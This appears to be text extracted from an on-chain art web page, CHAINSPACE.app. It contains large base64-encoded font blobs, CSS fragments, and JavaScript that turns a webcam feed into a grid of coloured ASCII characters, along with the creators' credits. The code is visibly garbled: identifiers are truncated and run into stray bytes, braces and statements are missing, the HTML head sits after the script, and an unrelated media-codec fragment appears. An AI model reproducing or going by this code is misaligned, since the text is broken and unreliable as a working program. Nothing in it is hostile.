H9t98gpRiW4UmkGlU1P3UVZcwASYnJ41H0s8TrVtO/+bviMWGXYuK67fti9qqve3WohUhkBsPnR3edzrhVVmfoiEoM/nAhKJV4Wn+zrOSeJGK1aT9e3kv9n6dNxTTIdDDT8VefNe4a+bvun2KM+rliCH6hrdr3momIjSm51PPrz3vtevd2joNbSSS02hMIgNrxcBwO27UljY0iPbEPrGDYRFwEAS23LAivy8YjsKivdw0m9RxChKc4I5EvTuHOQaFbYRTJhYBKsj0dX16+pPiM8XUpq/tTY0TAg4tBB4NmWNnV2L4cbU08bmfW9TWhYI/erbskITLKpLee8F2A7vU4IfLwVRWawsaHurx4pa5NobiSQYZRQcP2pZ8mu+xapjEy9LO1etaSflBfhe3GRedI5hIz0+vwWCZVh0Ff+La1QwGDaEuivjRqF6OIEDh8qunUxBQpRKDGzv4kiWs80CjTmIRmWJlga1NgTCeiM7+aNezMPOUfIUAV4FuZfb1kdyIO54rNMAM
p07mfLzJ63Xoyn2XW9aLKCnSlJKAl8yqqNjNTcuvyQ6f2uaTS4uIesDLtWFyDIpN7piHUoUR/Qu+sKLNKrG2Kn9r5kUytUzqfPJgj2A/wwOAyFFNUU6O8oB+e0NySYzv++7PIut/6h1ur1guAkAhS3p70J8ULsUS7NdO6insr82SqxenO8ayXmWW/kfYTrTxeuYKhNCeGTN4iWnlD8tUj2laN9nbl+SxeQsseedPF0UkhZXLSwaSFMqkQOsQZQkBsBfuCTGItAUfnASQbsieIAlx/ab2NbTzZaAbZUCbAJ0FPiuGuMHckFcRQq4o9zBRykPAlOJdS6NkSqEaDpSZbv2AqKQhHES4gcYCs2oHo/ykj192GQBAQRHDi+Od7f9IMID7/fiw66y6MGQ7BO4C5+kjQZLUnlgJJk4OdokWmTfvIArMxUVdKhMO1CviFuyAwGAyHIFQCBGn70caxgFXn7fXe6c9g0DIYFwyNdb8Bdv2A8lxzWeGvMAQGZOcXNE8ASzuRZJoM
vHAqGR2Uh5FAWGBxRTAJz4MngaVESHMYLeR9baA53y3NrDxRUxEAgYDgWRn0PAZVxtRB5iygWxnOHCCHc6J+6Lcs+pM0JDLacPx89IDzky31Js73NhK5WwNy0KFjACiLuQO28gpygkFs+Yfq4QXcUcnwadq3WzQqBoZx8MHC9Hg0ji+FOICocAt1S8jGx6zVT675iNxSwkgm+LeQ5Ohu1KgxD6BrO++XsLFTfEEmT3J4h6UZHR776mWROsNVfZGP0VX2PkcqE11OlUlk4V5qm2uusVTkbnO3n/hApjH5uA4MkdGJUvsNf/5gFCHQ9Ar8Xi92LR69Bk8r+UdK0Almc1LlTJqBpF253usI33G2CMjAvUfCgMxvYUN/e/dX2kmCJi9Hnkq/Rx0Wa72Q/MNyTCC3aXb6/Hke3ZaQXT5CuKGB8jX0QB434KWxqoqMuI6krVrTY9U6PCph/vvJmvr7IEIyc3monR53vpSAvIm137/j+E4EmP9hhvx9YDk5P6To5sdYp7NzM
BqmmPid+29PA068c3HQF+u/drpNIlXLVmntGDavJYMy9M5VI58ute2nfCe5qHO/rFC7S7B+094buMXoXPLDa4K6dhhLaBVsNwWuz0vqicrp82LP2wVBM6P9QAfwD3X8e+PetnlotDb4rF02Eima/51W02mTNuzzlsb3+YwxnzsfZx+Vwub4zm8Xk8YCFyG4gnZ3MVrgBxwhx+iu4gNeEz7aV0KtqHRJdxO1nxaJzlEnAZNysEZSYAFsAj5TKfI3P4GMAzznQ8cQkxRh5fyHyulIt4InsTFwCXIj4hxAOeIyBdlr8/rLs7bH9+vsMCL03l459qgYut2zHbX2I2YtxBk5rJG5+NN2XB0XBj9kbPohCH19sBwwucxvhPJs3I1dDS8wLzngc+Tw1MNVa66dGKU/GLRH0KO9iWOCyiyNEqt8hXmVMS/VNuFAVGVgiH0bRX7VM2SNAeVMe174JHm71Ok6VU7+uQd/VSj9plcz9qQyQX691dwOYwQx7QPmrw5ET46kimwGvM
w0/RNnrnAoRcplpRL9w1nrt+/ftnA9LmYktIiKc3QsbrzZ2BXTVfRg82Fas7MTEVR6JKzPtVEz6Zh1HWNd8VmUbSW6pggC+xzfD6sXandWKjVaGODY80aM2DTZUSmxbh1w6P1MLOk0qKf4x2ucamAhwWiO0pHU3HdOtaAfuDp8FTAFFr0LXDKQjqpO3k0knwzf6rf23epXVh5ucVeos0R1m7NTbLGp1UMRB08X+qRUeJ5UXpnhM7YbojbSKvdAaZ26+LUkf8d9ZzqmFrJ5TkWt8ZY1QExEVoNPdYHqJUGK0CKbHqsiyjPbK5OTWmuyqzQRTwC3lldUrzocqbERRMqqFvBSbRPr10fLJZp0l0W/VVaclX/VV+13tpoBcIzWbGYHFIONYFyf8WbCv29sZqkZZZ+hSlljaoxNOr3EFexsoy+MWJDjG0OI9cmDqd3/LbAwXHBN0cHtXiBYgvoP3GnHkYrY8xjRdh+7j6aE1DpFoQWSoxSZ8eg69SvDkESZ4cgqBm/SFcM
S1vA4jFRIK7UBvrwPl2PJPigkadgNUk1V+hDwU2RCOwGvF0WgwGfa6YQIImkIJ9i2CXIbNUDG/Y/qZ/QfKXBCi+bejznq7QNIEBKY46tT6e6sYOk40ezYiRHsx/WbpjYsN6LgKQJVBtZ28F8usf+/VVFKO641r+VlEsqxvJxioWeK0pQBrjHRkQnq0OcQlxLWXFy8HXPFrefLm/ZuIuG1yJ5RuzQSHr7C5g+o8sFDMobk1QiRg3j7FZBapNLw4NoKkP3Qw48hESDI2KqSXSy70SRVYzdX7TsbtZU4DLN5hF2PuDBKqaQI9XYaoU0KVEvnImHacBEEClYneBwOqdtFWVxJuVO0GOT8iTiN6rPSNEBCAwPM9la7yhgmdpTc6sXYiYrwsLgGsWkO0a7cp1rJhVN1fG0Zdz4okRmArN+ozoEg2uTIvmvBtNjNTUdgyDuWpsyihCyojQirACGfpT2AUxbDDdM8tR00tnHXdvgPjxsIEql4hNmjRuFIB1mEsFDb6emAyrSM
ptBz700/jG7OpEARYsVkJRcMUxAJObjzYK1CtXmm/w3WLRutrJCdwCkjzlffWUJi4GLsC6YKHz9WhkfGRkS72KYp0URiN0rbahyFhIsSX7Ki8jvb/zqnpNRk4VJN72QPbN7b3XUEwOOWOcwh6HQjbN8GOs49mBa54wXH8QM3JEShsTyC7p7RqKd9KA6ejk+Dr0bBcKKINCidO7Akh+GAJqG0w1HM4FsLt9s3Ai1SbFETUVyT+B2QRNWeEG4GDViAF6eseZJx7jsFi6hj4kE+f/mSWbf+TQJTW21EWrvy8LtJiwrCzSfSH+wt71/9A6lev9pvYmrQVAocxVcACW0mWbGzMhuLJnYw9suVcB5atFmqEaQ72/uFBLvYmP++I6W/BKHHpDzjyRx9V7K3z1is4Ue9FrldaJGQ8D8t0D/QIcnNjV7pvKNro8WBBMvpWMTNRtU1OjlYVZ+xN9Lobwe7cbmvrnoHCZbw7l1AvMiMXYMkTE3EWk23BSbEdK/Di7SyGzLg2zt1M
Xczav9qrE0cBnZtWhndMc4778h0C3Hjb5mKgYT8b7YgV3pZY8cFmsF5ie3PatVt+3t18fM16Y++uRWeztPu7u3MAvz7zj4fE5eA8llpJJjqVcpMSRMimxlKsUahFVtIBSRBECZW7oanBtEhBGKadcdGWZ5HEKOX+6iFrkXZTbPV6B7s0yeTi46gB8j0nZElhXF7jFY4eBl4ni32zA/wW7QaEWKOp1zH0cMgoDP6nTLWmAN3qVOPjtxIMgch3Yy2QNguNhQih8x/2Y1QGlC7S94CgM3aus1ItG/vpbhlaFgUMzoPB1vPbob2hMLQRP6VgX9yhRtAOGxkID//l4hAKtIOKm7CorQ9H4+WiU0ODFNnlnx+95z+bYCjbX26AFaPJMuHrzATbGinGcW7MDjfCHu12cWuf9dKi9pwWN6Yj5i4CnJxIwrcs/NJFRb1BIIQqsR4H5UPgBJKoGA4vQqhdiUQjYIAT0BI2G2yZjCKzKaCEKXQQQEQ1osBJcjCQxwGIItAZOITvM
Jl0PAxC2h3sm782I1A6WlA5oLvXAk9gEMmg6Vpyl4C2EIOCIaiakqpcEL4IgqpcoOBSO7g9G7HJ8iUxHIWBgYydWiERY1huwAREn88pzCTdJ0T39WmnuyYV7MclmmLDNmuTVUyXfD3zNphJmyH97wWWtD9syw7xIW0d1iZFaOgUm4CfT8KMiq9pdIGjiM70tNPgpqfJ/SNShcqBAHsxznRPp/bFHLREEiPjMmwwe4IX2DIpSP7UEeDi3455sJ8RaJe5U/xoi/U2+CFi9+gLJqC82eh3E0WtT4jQuwR09U40lbyQ71gm06g8xAj/HzkudGBYd9+UR0SeCEpHuj8cxn4adibFRk43x9QLlZ7d+q010si20KqfdaiJgA2JFw3TAe10ZCgOFExWrBnAOlrelItPNwTivHdObOFwbBD40i1mzfa8sZPCBL9oioCSYQFhSSh5yjVLle81RZBl8wFLZ+a5UgSL38R7kSCdMOtTBpGzcbkBDFBBGMNV8KFggvNkAjdW5wKO8M
0gfSHAoKI7lyE58FU9zaTT/v6bMBgjkHhVRAQFEsyJfV44AiUmkIwkfoNj3w3ZqcR+8BxKWh8YnsHE4tXD05OfBMT225NZMLgN4jE3WAsEoLPsQeCRpDYta7qLT9zdJXAXawkDpJoo6Guh4iU0RDXURppkJhLKsbjidhqLBGP50ks0VKCjlgstyiIOoI09LjUbBESA5OlhECi0AK+Q+pZ17hjb/WOdT0kIAIvi+Df40fIZI7da7NlqCOlPOdu58wTzXOa7bNczVKp2dWVsG/sOv9pGCD5EX9OfKrgk6psMDLv7ZODFwvWYSEIMAeBoKFyWua2sXBM1mLjkW1xa37a05vo/CxgCEXEh+NhSKonGnya8ZX3usBHF5Cl+K7zwUBhKIoHBp+K46eJerk2iVSszrfbZmzAo1amIDFSKrLLURQ26y8ahp43HrfGxMHQy2k+3seG/ibhLHiYE8QBDcMkRbkteQsiT3I5gzrQxSmedlkEDOoApTBgeEvhKqohg0DtYFIWjhAM
5BLgjgUMcmUdl9FFxzaayufiBATzyOwq9KoYrQ8O/vjuHQD2nzseoMWDHB02b8kVZm0oeOG607YQ2khojmmCbz7ITemBNmkYQcOghGXkISeSo0ICBBYaAdsD870xFf8AoOcTUTCG/X3kbOY7YjhxD3kYcRm5HTJ4TA2k3K/clsIDUUx2n2OxE9mSnJbLkQZdfp6mZ+uU7JvBq7LmNHEdu00P8tCY34Og/2FCv1whhoHCUDxilVlR4svisBSw3VpFdkygSVR2j022kcSwfrAh9HR5wK8BMpzt0irvoXQHx9Df0126MrYwhBf02feBByEQIsKeOi9MS2N7JlAtUCLwoZOokBdIBarI3G6/FcY99GSNEE2KJUQSfrCfGEgIz/wshGPaj4Ic6wsF/JrmTKbdsbJFHUKiLSPQFTbGSzHouGafDwDaHaKRtaFKjmEBA30S5DN9DEy+jsb4n8EyuluH0lUZ94LcchcOCQCDhPttRRAfiELzrPBSLW9qmIxIRXQgdfACB6EeM
GZRCIJEKGwiYHkMc4SkuhgWi27gHC+YP2juZ/hUjAYefeXkWisN329EZe6yYJWAp/HBF3zxPPx9vi3LjdKGbJmatdcxEYW0TQ9/EIPGDZsHiJXtJ3cP3o2gSGtoX77UfFtNwidEN4FhdPIQ4jkZOIK6hxJIV6uRAxGaDDArnmgJGXC+oCwUYWEo0DzvXpGb1R3mAc09MZPY7Gv6HGkM3ppg2IMXjLNm2Itq2XVVNbgRhHFQO8FEL5RukiOjyR+tkCVEWblYFSgUmK5tCRKEcUki4Zy3WhKH7uUIkuCJrawBDmEE46BUqVSr0z3yRtl47481Jw0wnX8Omh2UoIRJkdSuevEWIlOvmyCUjBz9oXW9XsFVfNcdWo6n2z0I3CLYeqNnbs1374qA3WW5eDNx/Ibaref+/TxoeWtFx0e5KRQLQHVB1gMLy/4+3EKX719nE8oUtUqe9FYfehEbg8go2YxCLd2zMIhoCYfL4dM8uOGWSHkK84OECyo68lk+fi0YkY/FiXLhdM
LGt27qn3tIqPf47nhRinQRrNGWIdWgc/ucYOa0lLNYFz8sxgv2IsBbA3Ex+3ps7kvz4zgMK3tG7FUhT6QjMiIq7h1O6/1FMbCrKpiWmy4W47/+j91zxGf9//BEc44lbEY7z8IY9wpb+ybqCuLe8ujU/ljuT+e9ID53A54/ekpJ+lewEDPAd8xZFE7YKTMKUli/i56LrVDBL4A3NVEO87PgPzka8hSgtz0D8/q3Mf9eDAA/vBh5PbQHICiYMJ9BEk0mN6Hnns4D73g10XkwY+b0j2sMHWyv7mwWau4NI9mwKikKuKYiw+pYBAVkPMfhlB+OxcmjQGBp8EmP5u5jSCkSBSX94CHRG5SDOm+AUX3eH7CKnpdTM7vkI5bcSsgzJ29dnH94kITq5VVMqabUdt04OMvPkQFILzzJPIUoKQcqcLHrnONOTNS3mqw6Ndr8LDBpRHk0F47RKGpV5+OM7Aew76vwycoGGjYcEsNJ/RBIUK2IDGmyM27+Fmq8Flo4yrMruNRkQhM
yl/31HCeRhl7YUav0JIC0m9WH9EhNTOVlIJG3wIzzALsOAXa8A4kwbkwlqAYkRTpX19m3RMWGAovLBDQUWRE7NHqXYIlTSwDOzdVeIhA3eQ7ChQnp4dIXDr8P/TjzExAE8/A5Ru1Uoruy3jL/o1M9LFxtAwJ23lLldvlSvYYS3Dnu/EWiMRcfkngKVNp6lwIvFm0r6DhLYMuJAlYfJKFdDwKTnyZOctKO4tDoXZwlTh0GGMQ6lvVLJCHW4TmEJubyElITfQ5op3QvD6XQiHmw+xAX0z8B0I/puohSmvkJeFLtrpoQFUI3oxzWTR0sLWJEKoh1Uzfl0ji+neQC4A4pD4y3WkJDjIZAnZ/PHbc1tza2q1ubvFk1OReJAJVP3/I5TKrxwDA79hcVa/Q2MDAeCI7eGQUoB3LVjPBXRtZKupLZKf2qYjyQw4Ce64MMABHgB5vhE8yBgaH4OagABX3AEWUpJIKs+ChfjTnK1MkS/4ZaMiDTpNicAj2iynqwSNwWNtBzbCpM
CMREUPHbimpcHVlE9J5OyGczDlUKOwU1b2w6oA6n+KqjCn0et2Ep0THa0YnXFLyiGfFi4WLF/iRp9UMydH1rgDBTxYcBr9EzRfvRLse7Sw+ym9EChWjXMqwiFlXmCCcgEx3G7az5crZ9eAjy9e/sZXMOLHAai1xWI7NY1+IU+yDoa9giAd3EZvP7hPu4LVK2oEOlrFEXwCL8Tenfa+s2lnb0hNoycgsF9dHr8RICv3p1G4gCdS+Pv4E6R+ZvOUuLmhDGUUxK/MzZKdvNr6S+BRieITNIMiRl6Wma0URWMsigl0227iqlOUDPF52nkYDvbt2VC/g2Bzl6cKyAgLCKH0vID4ykfOZtkk8AE+SWyTh0ldvnFMgv0hYJ5JlGy45DxKrbYFTWbXKbRbyHre8uq/K/JyNOMI0eRthLIrWs3Hjg7Wc5Qp5YCnI1XzrsEszsLpj0BxYjcb3HOjsmqHgD9cyBI0Gm7XWs08pd0a4f4JM4tukcBmpa4LaQJz3mL8jAGzA8MbIWM
UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #E1D7D5;
    font-size: 14px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#C4DA53", "#FFEE16", "#FFC10E", "#3F9323", "#098940", "#E1D7D5", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice(M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObjectM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
     const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
lem.className = 'grid';
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][M
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('clicMJ
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
59.37.100 libvpx-vp9g
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
MdWRMtl2zY6o0xEL73O8078Zi6s2J2Te7jxfj4FTxa1xPtoxP41HCx3OQcWeOy3g3J3/+SNYxRRFjuf2fJyQ/0+2fKoB/NMXg92ldNJltE8fTcRdYw/2CwjLUzRjPTKaumYV0Fry2iBdZLxf5rOgFxUJLGCrRoaS3JbeVurW0rtJFZf4q+1k5u8vrLT+5gugKU5tbunkgH/L3syCEnsDhOCM0gc+S0YMd7qVV5pmxNMIS+SnDPDLWRPSANo2I7I6UacGQte7h8dlWntk2lT1UXEaGXWhRieNtOaeyiJ64l5YRmklZDJ46WZq/Vy2QX7GgFyl0BXs+hvhkhpwPWQSiR0m+Jo2N/M5L03iGruvnKMKih/Cf/jg2zxPyQbjvNEWzCEu/uAlKompc5TEYkwb9FenoS2kCeRM21nBlXkWbyhgoCdlucfCNjnWuLLAcvm80AIgWOp/IdrIjsl3KCaeupoc0lkeWQieh0eiIw5qO7BMlyTeyLwqPOIKz0LgwslR9iEjT/JCM
cxJhbcDkzg3l/UZnXlTSiMF+v01aWmSnLT/FpxWZem18mpRWH8NpW6tvow4Yo2CrsaDXrQd4VrQGomw3Y0PVvevkwBz3q4GtSSOQ/XepmXALewYGviNMEDh+9z9PmvMYusw9g+pyhgQv21vFHQiAPoglnG1QsCbCseUjDnmpOv/YRCmpvkZJQRlK4cm09kru60OvLPJEDw0eAEj6sBdg4Y6npZ7Us43sgr6Hzhfj0F5S3Y+UN3kojCChLJOr7mETUzZVPBTFDKzfIde4TMX0zr88WHvsV++TWEddITiOLzk18eBGWAcnAiM0YiEIituibXV4ACGBMA67xMjcpswyy9XWpovZ6eOguJ1XEh/1AcWlkZpcaWcq+lP3FYCkyF5ZhqDTtz8rREBWY8Tx+oGlWyj+5OwfxpUE3cJ+HOw+B2ToGcoiG0jQzOmzmO3+VuF9WBrvJBcjcwa8aHGU1KQDyOzDba2oWa6w8M40ourbtt1R9jH9XfymlEE7a5EdTqoZsbqRtIHfM
rQRZ5H+FmXANw/4hX/wN58yRm/S+3wB/5VKTgOPMB6ZWYGnlLbDajRV4n7jy6W+UfmCpVbJjijAPuPCU1oeYsnC/8x6m40J4ZR4v3YiiqH7gT8jUwdloXCj/jrrpoTumPvPYj6rrL9J9wMWOmnXEkAapcVSsChC5+LuLv6jOGqV48bE4+Xbhq32t+w8plGvvPkXOZfh9eXWT0Iob/JAbrdsjdo3/NFLzjKgH5yJ7O4ME4SPbo3zOVkrfjw5Z1ID/TfUHqKyP0tqizFEWzBiuL3jy7U7prDrcXQU0p5s27uM6TGpzFM0ocJHrqgPkx5R9XWuZiTKHOJTq+T852Fhy6zPL7WZ+K7igrcE1yTOJct26INKPo9GuAC1C/QXSneR/fP/L0U+6rpMH7rbhTakZsN42qaFCHLeZB4A6wuyw/vSuNfyuUn5OdM7RaSdlxlLCV9K8pQYbPILy3QQj+toGBrvb1b+LTG3YqaaWK+2uEwSHMfHKngdZpabMDTami8/J8xNOn3HWM
